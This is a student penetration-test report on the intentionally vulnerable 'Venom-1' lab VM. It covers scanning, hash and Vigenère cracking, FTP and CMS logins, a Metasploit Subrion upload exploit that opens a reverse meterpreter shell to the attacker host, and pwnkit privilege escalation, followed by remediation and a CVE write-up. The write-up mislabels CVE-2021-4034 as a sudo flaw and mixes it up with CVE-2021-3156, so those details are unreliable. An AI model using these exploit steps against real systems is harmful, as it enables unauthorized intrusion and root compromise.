

VAPT REPORT-5

Student Name: JIGAR NAKARANI

VM Name: Empire: VENOM-1

Completion Date: 24/02/2026

Target IP Address: 192.168.56.115

Attacker IP Address: 192.168.56.107

PART 1: PENETRATION TESTING REPORT

1. Executive Summary

Purpose: Provide a brief, non-technical overview of the penetration test conducted on the target virtual machine.

Scope: Full penetration test of a vulnerable Linux web server VM

Objectives:

- Identify vulnerabilities in the target system
- Exploit identified vulnerabilities to gain unauthorized access
- Escalate privileges to root level
- Document findings and remediation steps

Key Findings Summary:

Metric	Result
Critical Vulnerabilities	0
High Vulnerabilities	2
Medium Vulnerabilities	0
Low Vulnerabilities	0
Root Access Achieved	Yes
Time to Compromise	15-20min

Table 1: Assessment Metrics Summary

Assessment summary base on risk: **HIGH**

2. Scope and Methodology

2.1 Scope Definition

In Scope:

- Target VM IP: 192.168.56.115
- Target OS: Linux
- Testing approach: Black box
- Testing timeframe: [22/02/26 -24/02/26]

Out of Scope:

- Denial of Service (DoS) attacks
- Social engineering attacks
- Physical security testing

2.2 Methodology

This penetration test followed the industry-standard phases:

1. **Reconnaissance** - Information gathering about the target
2. **Scanning & Enumeration** - Identifying open ports, services, and potential vulnerabilities
3. **Vulnerability Analysis** - Analyzing discovered services for known weaknesses
4. **Exploitation** - Attempting to exploit identified vulnerabilities
5. **Post-Exploitation** - Privilege escalation and maintaining access
6. **Reporting** - Documenting findings and recommendations

3. Reconnaissance

3.1 Active Information Gathering

Objective: Gather information about the target with directly interacting with it.

Actions Taken:

- Host discovery
- Operating system fingerprinting
- Network mapping

Tools Used:

- Nmap

Findings:

Operating system: Linux

Kernel version: OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4),

4. Scanning and Enumeration

4.1 Port Scanning

Objective: Identify open ports and running services on the target.

Tools Used:

- Nmap
- **Commands Executed:**
 - nmap -sS -pn -oN port_scan 192.168.56.115
 - nmap -sU -pn -p 53,68,137 -oN udpscan 192.168.56.115

Open Ports Discovered:

PORTS	SERVICE
21	FTP
80	HTTP
139	netbios-ssn
443	http
445/tcp	netbios-ssn
137/udp	netbios-ns

4.2 Service Enumeration

Findings per Service:

1.[Service Name -ftp]

- Version: vsftpd 3.0.3
- Potential vulnerabilities: no
- Notable findings: no anonymous login allowed

2. [Service Name HTTP]

- Version: Apache httpd 2.4.29 ((Ubuntu))
- Potential vulnerabilities: 0
- Notable findings:

There is a hint on source code : <http://192.168.56.115>

```
<! ... <5f2a66f947fa5690c26506f66bde5c23> follow this to get access on somewhere.....→
```

```
(jigar@kali)-[~/Desktop/pen5]
$ hashcat -m 0 hash1 --show
5f2a66f947fa5690c26506f66bde5c23:hostinger
```

This is a md5 hash and value is “hostinger”.

So may be this is username or password or both .

So I try to login with this possibilities to FTP and succeed.

username : hostinger

Password: hostinger

```
(jigar@kali)-[~/Desktop/pen5]
$ ftp 192.168.56.115
Connected to 192.168.56.115.
220 (vsFTPd 3.0.3)
Name (192.168.56.115:jigar): hostinger
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||41939|)
150 Here comes the directory listing.
drwxr-xr-x  2 1002      1002      4096 May 21  2021 files
226 Directory send OK.
ftp> █
```

There is a hint.txt file inside files folder and it look like :

```
ftp> ls -al
229 Entering Extended Passive Mode (|||48518|)
150 Here comes the directory listing.
drwxr-xr-x  2 1002   1002   4096 Feb 23 10:44 .
dr-xr-xr-x  3 65534  65534   4096 May 20 2021 ..
-rw-r--r--  1 0      0      384 May 21 2021 hint.txt
-rw-----  1 1002   1002   840139 Feb 23 10:44 linpeas.sh
-rw-----  1 1002   1002   2145 Feb 23 10:38 version
226 Directory send OK.
ftp> cat hint.txt
?Invalid command.
ftp> quit
221 Goodbye.

(jigar@kali) [~/Desktop/pen5]
$ ls
hash1 hint.txt host_discovery linpeas.sh open_ports open_udp_ports version
(jigar@kali) [~/Desktop/pen5]
$ cat hint.txt
Hey there ...

T0D0 --

* You need to follow the 'hostinger' on WXP0U2FHSnRVbWqYlZGblpHMXNlbHYTld4amJWm5XVEpzZDJGSFZuaz0= also aHR0cHM6Ly9jcmlwdGlpLmNvbS9waXBscy92aWdlbmV5ZS1jaXB0ZXI=
* some knowledge of cipher is required to decode the dora password..
* try on venom.box
password -- L7f9l8@Jp%Ue+Q1234 → decode this you will get the administrator password

Have fun .. :)
```

Context is multi time encoded with BASE64. So decode it and we got
standard vigenere cipher

<https://cryptii.com/pipes/vigenere-cipher>

and for password it is a cipher so we decode it on above site so we got

J7o9n8@U#w%Mw+O1234

This look like complex like password so maybe it uses somewhere.

There is a another some thing mention → venom.box

May be this is a virtual host for same ip so we edit /etc/hosts file and enter an entry like

192.168.56.115 venom.box

and load it, so we got page with login form.

We try to login with all possibilities which we discover till now:

Usernames: dora,hostinger,administrator,admin

Passwords: hostinger,admin,administrator,dora,venom,J7o9n8@U#w%Mw+O1234

But nothing work.

So , there is a high chance I missed some clue. I read that file once again and there is a mention you need a knowledge of cipher. And then I got there is a key which use to decrypt and that site give us to change key also so i confirmed it has high chance to work , I enter key (all usernames one by one) and it generate passwords and then I also brute-force like password-spray attack . I finally got correct credentials.

Key=hostinger

Username=dora

Password= E7r9t8@Q#h%Hy+M1234

We got admin pannel.

For ensurity of admin I add user called “hacker” and yeah it added so I am admin.and I also part of administrator group.

Members

Dashboard

→

Members

Fields

Usergroups

Add Member

✓

Member added.

ID

Username, Fullname, or Email

Status

Usergroup

Search

Reset

ID	Username	Full Name	Usergroup	Email	Status	Date				
4	hacker	hacker	Registered	hackerf-society@gmail...	Active	2026-02-23 0...				
1	dora	Administrator	Administrators	dora.skirh@venom.box	Active	2021-05-20 1...				
3	Tester@123	Testertest	Registered	yolo@test.com	Unconf...	2021-05-20 0...				
2	tester	testtester	Registered	test@tester.com	Unconf...	2021-05-20 0...				

2. [Service Name: netbios]

- Version: Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
- Potential vulnerabilities: 1(dos)
- Notable findings: -it allow Anonymous access: READ/WRITE

-there is a SMBv1 is implemented which is dangerous.

-there is not implemented account lockout-policies.

- regsvc in Microsoft Windows systems vulnerable to denial of service

```
Current user access: <none>
smb-os-discovery:
  OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
  Computer name: venom
  NetBIOS computer name: VENOM\x00
  Domain name: \x00
  FQDN: venom
  System time: 2026-02-23T09:46:05+05:30
_smb-vuln-ms10-061: false
_smb-flood: ERROR: Script execution failed (use -d to debug)
smb-vuln-regsvc-dos:
VULNERABLE:
  Service regsvc in Microsoft Windows systems vulnerable to denial of service
  State: VULNERABLE
  The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes while working on smb-enum-sessions.
smb-enum-sessions:
<nobody>
```

```
(jigar@kali)-[~/Desktop/pen5]
$ smbclient //192.168.56.115/IPC$ -N
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
smb: \> put versions
versions does not exist
smb: \> ls
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
smb: \> ^C
```

Proof of anonymous login without password

5. Vulnerability Analysis

High Findings:

Vulnerability name	CVSS score	CVE ID
pwnkit	7.8 base on CVSS version 3.x	[CVE-2021-4034]
sudo Baron Samedit 2	7.8	[CVE-2021-3156]

6. Exploitation

6.1 Initial Access:

Access using http service

Exploit Method: Metasploit Module

Tools Used: Metasploit

Attack Steps:

use exploit/multi/http/subrion_cms_file_upload_rce

set RHOSTS venom.box

set password E7r9t8@Q#h%Hy+M1234

set username dora

set lhost: 192.168.56.107

run

and you got meterpeter session.

```
msf exploit(multi/http/subrion_cms_file_upload_rc) > run
[*] Started reverse TCP handler on 192.168.56.107:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target web server for a response at: http://192.168.56.115/panel/
[*] Target is running Subrion CMS.
[*] Checking Subrion CMS version...
[*] Target is running Subrion CMS Version 4.2.1.
[*] The target appears to be vulnerable. However, this version check does not guarantee that the target is vulnerable, since a fix for the vulnerability can easily be applied by a web admin.
[*] Connecting to Subrion Admin Panel login page to obtain CSRF token...
[*] Successfully obtained CSRF token: RszD5DL0YQc244dE8i7JhX0xQZy7cPrG79Nje15l
[*] Logging in to Subrion Admin Panel at: http://192.168.56.115/panel/ using credentials dora:E7r9t8QQ#h%Hy+M1234
[*] Successfully logged in as Administrator.
[*] Preparing payload...
[*] Sending POST data...
[*] Successfully uploaded payload at: http://192.168.56.115/uploads/dlpulnbwgu.phar
[*] Executing 'dlpulnbwgu.phar'... This file will be deleted after execution.
[*] Sending stage (42137 bytes) to 192.168.56.115
[*] Meterpreter session 1 opened (192.168.56.107:4444 -> 192.168.56.115:57020) at 2026-02-24 13:40:44 +0530

[*] Successfully executed payload: http://192.168.56.115/uploads/dlpulnbwgu.phar

meterpreter > sysinfo
meterpreter > sysinfo
meterpreter > sysinfo
meterpreter > getuid
Server username: www-data
meterpreter > ls -la
Listing: /var/www/html/subrion/uploads

Mode                Size      Type       Last modified          Name
-----
100755/rwxr-xr-x    656     fil       2018-06-14 05:04:54 +0530 .htaccess
040755/rwxr-xr-x    4096    dir       2021-05-20 19:43:21 +0530 .quarantine
040777/rwxrwxrwx    4096    dir       2021-05-20 19:43:21 +0530 .tmp
```

Finding user flag;

1. Go back to this path and there is a many files and check one by one and you got a hints.

```
www-data@venom:/var/www/html/subrion$ ls -al
ls -al
total 180
drwxr-xr-x 13 www-data www-data 4096 May 21 2021 .
drwxr-xr-x 3 root      root    4096 May 20 2021 ..
-rwxr-xr-x 1 www-data www-data   247 Jun 14 2018 .gitignore
-rwxr-xr-x 1 www-data www-data  2318 Jun 14 2018 .htaccess
-rwxr-xr-x 1 www-data www-data  4074 Jun 14 2018 CONTRIBUTING.md
-rwxr-xr-x 1 www-data www-data  4794 Jun 14 2018 README.md
drwxr-xr-x 3 www-data www-data  4096 May 20 2021 admin
drwxr-xr-x 2 www-data www-data  4096 May 21 2021 backup
-rwxr-xr-x 1 www-data www-data 49250 Jun 14 2018 changelog.txt
-rwxr-xr-x 1 www-data www-data   694 Jun 14 2018 composer.json
-rwxr-xr-x 1 www-data www-data  1150 Jun 14 2018 favicon.ico
drwxr-xr-x 2 www-data www-data  4096 Jun 14 2018 front
drwxr-xr-x 17 www-data www-data  4096 May 20 2021 includes
-rwxr-xr-x 1 www-data www-data  4099 Jun 14 2018 index.php
drwxr-xr-x 6 www-data www-data  4096 Jun 14 2018 install
drwxr-xr-x 13 www-data www-data  4096 Jun 14 2018 js
-rwxr-xr-x 1 www-data www-data 35147 Jun 14 2018 license.txt
drwxr-xr-x 5 www-data www-data  4096 Jun 14 2018 modules
-rwxr-xr-x 1 www-data www-data   41 May 21 2021 robots.txt
drwxr-xr-x 4 www-data www-data  4096 Jun 14 2018 templates
drwxr-xr-x 7 www-data www-data  4096 May 20 2021 tmp
drwxr-xr-x 2 www-data www-data  4096 Jun 14 2018 updates
drwxr-xr-x 4 www-data www-data  4096 Feb 24 2021 uploads
www-data@venom:/var/www/html/subrion$
```

- Inside robots.txt there Is a something like this: Flnd_YOur_way_t0_g3tl1n.txt
2. Go to backup folder and inside it there is a file called .htaccess , inside it something interesting.
It look like password or may be cipher.


```

www-data@venom:/var/www/html/subrion$ cd backup
cd backup
www-data@venom:/var/www/html/subrion/backup$ ls -al
ls -al
total 12
drwxr-xr-x  2 www-data www-data 4096 May 21  2021 .
drwxr-xr-x 13 www-data www-data 4096 May 21  2021 ..
-rwxr-xr-x  1 www-data www-data   81 May 21  2021 .htaccess
www-data@venom:/var/www/html/subrion/backup$ cat .htaccess
cat .htaccess
allow from all
You_will_be_happy_now :)
FzN+f2-rRaBgVAlZj*Rk#_JJYfg8XfKhxqB82x_a
www-data@venom:/var/www/html/subrion/backup$

```

3. I investigate all possible ways to find user-flag but inside /var nothing . so I list out all users and try to change user.

```

gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
nathan:x:1000:1000:nathan,,,:/home/nathan:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
mysql:x:122:127:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:123:128:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
hostinger:x:1002:1002,,,:/home/hostinger:/bin/bash

```

4. So there is a two users: **hostinger** and **Nathan**.
So I ran **su hostinger** and password: **hostinger** and I go to home tab and try to find flag. But It is not there.
5. Now I ran **su Nathan** , password:
FzN+f2rRaBgVAlZj*Rk#_JJYfg8XfKhxqB82x_a

I do same , go to the home directory and this time I found user.txt file inside it user flag is available .

```

nathan@venom:/home$ ls
ls
hostinger nathan
nathan@venom:/home$ whoami
whoami
nathan
nathan@venom:/home$ ls -al
ls -al
total 16
drwxr-xr-x  4 root      root      4096 May 21  2021 .
drwxr-xr-x 24 root      root      4096 May 20  2021 ..
drwxr-xr-x 16 hostinger hostinger 4096 May 22  2021 hostinger
drwxr-xr-x 17 nathan   nathan   4096 May 22  2021 nathan
nathan@venom:/home$ cd nathan
cd nathan
nathan@venom:~$ ls -al
ls -al
total 100
drwxr-xr-x 17 nathan nathan 4096 May 22  2021 .
drwxr-xr-x  4 root   root   4096 May 21  2021 ..
-rw-r--r--  1 nathan nathan 2690 May 22  2021 .bash_history
-rw-r--r--  1 nathan nathan 3771 May 20  2021 .bashrc
drwxr-xr-x 15 nathan nathan 4096 May 20  2021 .cache
drwxr-xr-x 12 nathan nathan 4096 May 20  2021 .config
drwxr-xr-x  2 nathan nathan 4096 May 20  2021 Desktop
drwxr-xr-x  2 nathan nathan 4096 May 20  2021 Documents
drwxr-xr-x  2 nathan nathan 4096 May 22  2021 Downloads
-rw-r--r--  1 nathan nathan 8980 May 20  2021 examples.desktop
drwxr-xr-x  3 nathan nathan 4096 May 20  2021 .gnupg
-rw-r--r--  1 nathan nathan 1884 May 21  2021 .ICEauthority
drwxr-xr-x  3 nathan nathan 4096 May 20  2021 .local
drwxr-xr-x  5 nathan nathan 4096 May 20  2021 .mozilla
drwxr-xr-x  2 nathan nathan 4096 May 20  2021 Music
drwxr-xr-x  2 nathan nathan 4096 May 20  2021 Pictures
-rw-r--r--  1 nathan nathan  807 May 20  2021 .profile
drwxr-xr-x  2 nathan nathan 4096 May 20  2021 Public
drwxr-xr-x  2 nathan nathan 4096 May 21  2021 .ssh
-rw-r--r--  1 nathan nathan    0 May 20  2021 .sudo_as_admin_successful
drwxr-xr-x  2 nathan nathan 4096 May 20  2021 Templates
drwxr-xr-x  6 nathan nathan 4096 May 20  2021 .thunderbird
-rw-r--r--  1 root   root    15 May 21  2021 user.txt
drwxr-xr-x  2 nathan nathan 4096 May 20  2021 Videos
-rw-r--r--  1 nathan nathan    0 May 22  2021 .viminfo
nathan@venom:~$ cat user.txt
cat user.txt
W3_ar3_V3n0m:P
nathan@venom:~$

```

7. Post-Exploitation and Privilege Escalation

7.1 Privilege Escalation to Root

Vulnerability Exploited for Privilege Escalation: pwnkit

CVE ID: [CVE-2021-4034]

Method: user space exploit

Tools Used: Metasploit

Escalation Steps:

In Metasploit ,

Search pwnkit

Use 0

Set session 1 (your ssh login session)

Set lhost 192.168.56.107

Run

Sessions -I 2

```
meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter > getuid
Server username: root
```

Now here we perform same steps which we done already earlier , go to home directory and found root flag.

```
root@venom:~# ls -al
ls -al
total 64
drwx----- 7 root root 4096 May 21 2021 .
drwxr-xr-x 24 root root 4096 May 20 2021 ..
-rw----- 1 root root 19665 May 22 2021 .bash_history
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx----- 2 root root 4096 Aug 7 2020 .cache
drwx----- 4 root root 4096 May 21 2021 .config
drwx----- 3 root root 4096 May 20 2021 .gnupg
drwxr-xr-x 3 root root 4096 May 20 2021 .local
-rw----- 1 root root 201 May 20 2021 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 29 May 21 2021 root.txt
drwxr-xr-x 6 root root 4096 May 21 2021 snap
root@venom:~# cat root.txt
cat root.txt
#root_flag
H@v3_a_n1c3_l1fe.
root@venom:~#
```

8.1 Business Impact

Confidentiality Impact: [High}

- All types of files and services which own by root and normal user which is critical like /etc/passwd file or another.

Integrity Impact: [High]

- All files which own by root and normal user.

Availability Impact: [High]

- There is a one vulnerability which caused dos attack and shut down or freeze netbios service. (I not mention it in executive summary because dos is out of scope but it is still there.)

8.2 Technical Impact

- Complete system compromise achieved

- Root/Administrator access obtained
- Access to sensitive files.
- Ability to install backdoors for persistent access
- Potential for lateral movement to other systems

9. Remediation Recommendations

9.1 Critical Priority Fixes

Fix for Privilege Escalation Vulnerability (CVE):

1. Vulnerability: [CVE-2021-4034]
Remediation: update it to newest version(patch)

Temporary solution :

If patching is not possible immediately:

Remove SUID bit from pkexec:

sudo chmod 0755 /usr/bin/pkexec

2. vulnerability: [CVE-2021-3156]

Remediation: patching

Temporary solution:

If immediate patching is not possible:

Option A — Remove SUID bit (Temporary)

sudo chmod 0755 /usr/bin/sudo

This disables sudo completely. Only use as emergency containment.

Option B — Restrict local access

Since this is a local privilege escalation, reduce exposure by:

- **Disabling shell access for untrusted users**
- **Monitoring abnormal sudo executions**

9.2 Defense-in-Depth Recommendations

- Implement regular patch management process

- Apply principle of least privilege
- Enable and monitor security logging
- Implement network segmentation
- Deploy host-based intrusion detection
- Conduct regular vulnerability assessments

PART 2: CVE DEEP-DIVE ANALYSIS

Focus on the CVE that enabled privilege escalation to root

CVE Information

CVE Identifier: [CVE-2021-4034]

Affected Software/Component: [sudo]

Disclosure Date: on cve.org - - -> 2021-01-26

CVSS v3.x Score: [7.8] ([High])

Official References:

- **NVD:** <https://nvd.nist.gov/vuln/detail/cve-2021-3156>
- **CVE:** <https://www.cve.org/CVERecord?id=CVE-2021-3156>

Section 1: What is This CVE-2021-3156?

"This CVE is a vulnerability in **polkit**, specifically in the **pkexec** program. It exists because **pkexec** does not properly validate command-line arguments when executed without parameters. Due to this flaw, an attacker can manipulate environment variables and force the program to load a malicious shared library.

Since **pkexec** runs with SUID-root privileges, a normal local user can exploit this vulnerability to gain root access.

This is dangerous because it allows privilege escalation on almost all major Linux distributions and has existed for more than 12 years unnoticed."

Section 2: Why Does This Vulnerability Exist? (Root Cause Analysis)

Technical Root Cause

The vulnerability exists because **pkexec** does not properly handle the case when it is executed with **zero arguments** (**argc == 0**).

It incorrectly processes memory and environment variables, allowing attackers to control how dynamic libraries are loaded.

Section 3: How Did I Exploit This CVE?

Attack Prerequisites

What did I need before exploiting this?

- Starting privilege level: low-privilege user account
- Network access required: Remote
- User interaction required: No
- Special conditions: no

Step-by-Step Exploitation Process

1. **Discovery Phase:**

I run linpeas.sh and it give me problems base on current version also CVES so I go with documentation and map current linux version is vulnerable via pwnkit.

2. **Preparation Phase:**

require only one session with local privilege and Metasploit framework for running exploit.

3. **Execution Phase:**

I run exploit module regarding this CVE (workflow I already mention earlier) and then it spawn new session with root privilege.

4. **Result Phase:**

I ran getuid command and it return 0 root.

Technical Details

Exploit code/method used:

Prerequisite: session with local privilege

Then

Search pwnkit

Use 0

Set session 1 (your ssh login session)

Set lhost 192.168.56.107

Run

Sessions -I 2

What the exploit does internally:

It run pkexec command without argument so it ran as a root and we ran malicious reverse shell code so it give us a shell with root privilege.

Section 4: CVSS Score Breakdown and Risk Understanding

CVSS v3.1 Vector String

Vector String: [CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H]

Attack Vector (AV): [Local]

explanation: [This vulnerability requires local access to the system. The attacker must already have a valid local user account or shell access to exploit it.]

Attack Complexity (AC): [Low]

explanation: [The exploitation process is simple and does not require special conditions, race conditions, or complex preparation. Public exploit code works reliably.]

Privileges Required (PR): [Low]

explanation: [Only a normal, unprivileged local user account is required. Root or administrative privileges are not needed before exploitation.]

User Interaction (UI): [None]

explanation: [No action from any other user is required. The attacker can execute the exploit directly without victim interaction.]

Scope (S): [Unchanged]

explanation: [The vulnerability affects the same security authority. The flaw exists in pkexec and results in root privileges on the same system.]

Confidentiality Impact (C): [High]

explanation: [An attacker can read sensitive files such as /etc/shadow, SSH keys, credentials, and other private system data.]

Integrity Impact (I): [High]

explanation: [An attacker can modify system files, create new root users, change configurations, or install backdoors.]

Availability Impact (A): [High]

explanation: [An attacker can crash the system, delete critical files, stop services, or make the system completely unavailable.]

Why This Score Matters

Because it is directly proportional to urgency and impact .

Section 5: How Can This Be Fixed?

Official Patch/Remediation

Vendor's Official Fix and patches:

https://bugzilla.redhat.com/show_bug.cgi?id=2025869

<https://gitlab.freedesktop.org/polkit/polkit/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683>

<https://www.oracle.com/security-alerts/cpuapr2022.html>

Section 6: Real-World Context

Has This CVE Been Exploited in the Wild?

Yes, **CVE-2021-4034 (PwnKit)** has been exploited in the wild.

Because it allows **instant root escalation** from a low-privilege shell with no authentication, it became a popular choice for:

- botnets
- ransomware post-exploitation
- penetration testers
- automated exploitation scanners

Related Vulnerabilities

Similar CVEs in the same software:

CVE-2021-3560

CVE-2018-19788

CVE-2013-4288

Section 7: Lessons Learned

What I Learned from This CVE?

From **CVE-2021-4034**, I learned that even small bugs in SUID programs like **pkexec** can lead to full root compromise. It highlights the importance of secure input validation, proper environment handling, and strict privilege management. I also understood that local privilege escalation vulnerabilities are critical in post-exploitation phases. Regular patching and defense-in-depth are essential to prevent such attacks.

Defense perspective:

Patch update , minimize local privilege, Monitor for Privilege Escalation Behavior.

How This Applies to Real-World Security

connecting this VM exercise to real-world scenarios I know importance of patching , "Organizations often delay patching due to fear of breaking production systems. This CVE shows why patch management is critical - a single unpatched component allowed complete system compromise."

Section 8: MITRE ATT&CK Mapping

Tactics and Techniques Used

Tactic	Technique ID	Technique Name
Privilege Escalation	T1068	Exploitation for Privilege Escalation
Reconnaissance	TA0043	T1959(ID: .001,.002,.003),
Initial Access	TA0001	T1592(ID:.002)
		T1078(ID:.003)

Why this mapping matters:

MITRE ATT&CK mapping is important because it connects technical vulnerabilities to real-world attacker behaviour. It helps defenders understand how a vulnerability fits into the attack lifecycle, improves detection strategies, and enables standardized communication across security teams.

Section 9: Resources and References

Sources Used for This Analysis

1. National Vulnerability Database (NVD). [Year]. [CVE-ID].
<https://nvd.nist.gov/vuln/detail/cve-2021-4034>
2. MITRE Corporation. [Year]. [CVE-ID].
<https://www.cve.org/CVERecord?id=cve-2021-4034>